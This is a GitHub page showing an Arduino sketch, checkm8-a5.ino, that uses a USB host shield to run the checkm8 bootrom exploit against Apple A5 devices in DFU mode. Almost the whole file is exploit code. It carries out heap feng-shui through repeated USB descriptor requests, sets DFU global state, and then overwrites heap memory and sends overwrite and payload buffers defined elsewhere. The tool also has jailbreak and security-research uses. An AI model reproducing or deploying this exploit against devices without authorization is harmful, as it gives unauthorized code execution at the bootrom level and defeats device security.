forked from a1exdandy/checkm8-a5
-
-
Notifications
You must be signed in to change notification settings - Fork 76
/
checkm8-a5.ino
231 lines (204 loc) · 6.52 KB
/
checkm8-a5.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#include "Usb.h"
#define A5_8942
#include "constants.h"
USB Usb;
USB_DEVICE_DESCRIPTOR desc_buf;
uint8_t rcode;
uint8_t last_state, state;
bool is_apple_dfu = false;
uint8_t serial_idx = 0xff;
enum {
CHECKM8_INIT_RESET,
CHECKM8_HEAP_FENG_SHUI,
CHECKM8_SET_GLOBAL_STATE,
CHECKM8_HEAP_OCCUPATION,
CHECKM8_END
};
uint8_t checkm8_state = CHECKM8_INIT_RESET;
uint8_t send_out(uint8_t * io_buf, uint8_t pktsize)
{
Usb.bytesWr(rSNDFIFO, pktsize, io_buf);
Usb.regWr(rSNDBC, pktsize);
Usb.regWr(rHXFR, tokOUT);
while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ));
Usb.regWr(rHIRQ, bmHXFRDNIRQ);
uint8_t rcode = Usb.regRd(rHRSL) & 0x0f;
return rcode;
}
void setup() {
Serial.begin(115200);
Serial.println("checkm8 started");
if(Usb.Init() == -1)
Serial.println("usb init error");
delay(200);
}
void loop() {
Usb.Task();
state = Usb.getUsbTaskState();
if(state != last_state)
{
//Serial.print("usb state: "); Serial.println(state, HEX);
last_state = state;
}
if(state == USB_STATE_ERROR)
{
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
}
if(state == USB_STATE_RUNNING)
{
if(!is_apple_dfu)
{
Usb.getDevDescr(0, 0, 0x12, (uint8_t *) &desc_buf);
if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
{
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
if(checkm8_state != CHECKM8_END)
{
Serial.print("Non Apple DFU found (vendorId: "); Serial.print(desc_buf.idVendor); Serial.print(", productId: "); Serial.print(desc_buf.idProduct); Serial.println(")");
delay(5000);
}
return;
}
is_apple_dfu = true;
serial_idx = desc_buf.iSerialNumber;
}
switch(checkm8_state)
{
case CHECKM8_INIT_RESET:
for(int i = 0; i < 3; i++)
{
digitalWrite(6, HIGH);
delay(500);
digitalWrite(6, LOW);
delay(500);
}
checkm8_state = CHECKM8_HEAP_FENG_SHUI;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_HEAP_FENG_SHUI:
heap_feng_shui();
checkm8_state = CHECKM8_SET_GLOBAL_STATE;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_SET_GLOBAL_STATE:
set_global_state();
checkm8_state = CHECKM8_HEAP_OCCUPATION;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
//while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) { Usb.Task(); }
break;
case CHECKM8_HEAP_OCCUPATION:
heap_occupation();
checkm8_state = CHECKM8_END;
Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
break;
case CHECKM8_END:
digitalWrite(6, HIGH);
Serial.println("Done!");
checkm8_state = -1;
break;
}
}
}
uint8_t heap_feng_shui_req(uint8_t sz, bool intok)
{
uint8_t setup_rcode, data_rcode;
setup_rcode = Usb.ctrlReq_SETUP(0, 0, 0x80, 6, serial_idx, 3, 0x40a, sz);
uint8_t io_buf[0x40];
if(intok)
{
data_rcode = Usb.dispatchPkt(tokIN, 0, 0);
uint8_t pktsize = Usb.regRd(rRCVBC);
Usb.bytesRd(rRCVFIFO, pktsize, io_buf);
Usb.regWr(rHIRQ, bmRCVDAVIRQ);
}
Serial.print("heap_feng_shui_req: setup status = "); Serial.print(setup_rcode, HEX);
Serial.print(", data status = "); Serial.println(data_rcode, HEX);
return setup_rcode;
}
void heap_feng_shui()
{
Serial.println("1. heap feng-shui");
rcode = Usb.ctrlReq(0, 0, 2, 3, 0, 0, 0x80, 0, 0, 0, 0);
Serial.print("Stall status: "); Serial.println(rcode, HEX);
Usb.regWr(rHCTL, bmRCVTOG1);
int success = 0;
while(success != 620)
{
if(heap_feng_shui_req(0x80, true) == 0)
success++;
}
heap_feng_shui_req(0x81, true); // no leak
/* a8 testing
// heap_feng_shui_req(0xc0, true); // stall
heap_feng_shui_req(0xc0, true); // leak
for(int i = 0; i < 40; i++)
heap_feng_shui_req(0xc1, true); // no leak
*/
}
void set_global_state()
{
Serial.println("2. set global state");
uint8_t tmpbuf[0x40];
memset(tmpbuf, 0xcc, sizeof(tmpbuf));
rcode = Usb.ctrlReq_SETUP(0, 0, 0x21, 1, 0, 0, 0, 0x40);
//Usb.regWr(rHCTL, bmSNDTOG0);
rcode = send_out(tmpbuf, 0x40);
Serial.print("OUT pre-packet: "); Serial.println(rcode, HEX);
rcode = send_out(tmpbuf, 0x40);
Serial.print("Send random 0x40 bytes: "); Serial.println(rcode, HEX);
rcode = Usb.dispatchPkt(tokINHS, 0, 0);
Serial.print("Send random 0x40 bytes HS: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq(0, 0, 0x21, 1, 0, 0, 0, 0, 0, 0, 0);
Serial.print("Send zero length packet: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq(0, 0, 0xA1, 3, 0, 0, 0, 6, 6, tmpbuf, 0);
Serial.print("Send get status #1: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq(0, 0, 0xA1, 3, 0, 0, 0, 6, 6, tmpbuf, 0);
Serial.print("Send get status #2: "); Serial.println(rcode, HEX);
rcode = Usb.ctrlReq_SETUP(0, 0, 0x21, 1, 0, 0, 0, padding + 0x40);
uint8_t io_buf[0x40];
for(int i = 0; i < ((padding + 0x40) / 0x40); i++)
{
rcode = send_out(io_buf, 0x40);
Serial.print(" data: "); Serial.println(rcode, HEX);
if(rcode)
{
Serial.println("sending error");
checkm8_state = CHECKM8_END;
return;
}
}
}
void heap_occupation()
{
Serial.println("3. heap occupation");
Usb.regWr(rHCTL, bmRCVTOG1);
heap_feng_shui_req(0x81, true); // no leak
//Serial.println("!!! Enable debugging/dump sram here !!!");
//delay(10000);
uint8_t tmpbuf[0x40];
Serial.println("overwrite sending ...");
rcode = Usb.ctrlReq_SETUP(0, 0, 0, 0, 0, 0, 0, 0x40);
Serial.print(" SETUP: "); Serial.println(rcode, HEX);
//Usb.regWr(rHCTL, bmSNDTOG0);
memset(tmpbuf, 0xcc, sizeof(tmpbuf));
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT (pre packet): "); Serial.println(rcode, HEX);
for(int i = 0; i < 0x40; i++)
tmpbuf[i] = pgm_read_byte(overwrite + i);
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT: "); Serial.println(rcode, HEX);
Serial.println("payload sending ...");
rcode = Usb.ctrlReq_SETUP(0, 0, 0x21, 1, 0, 0, 0, sizeof(payload));
Serial.print(" SETUP: "); Serial.println(rcode, HEX);
//Usb.regWr(rHCTL, bmSNDTOG0);
memset(tmpbuf, 0xcc, sizeof(tmpbuf));
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT (pre packet): "); Serial.println(rcode, HEX);
for(int i = 0; i < sizeof(payload); i += 0x40)
{
for(int j = 0; j < 0x40; j++)
tmpbuf[j] = pgm_read_byte(payload + i + j);
rcode = send_out(tmpbuf, 0x40);
Serial.print(" OUT: "); Serial.println(rcode, HEX);
}
}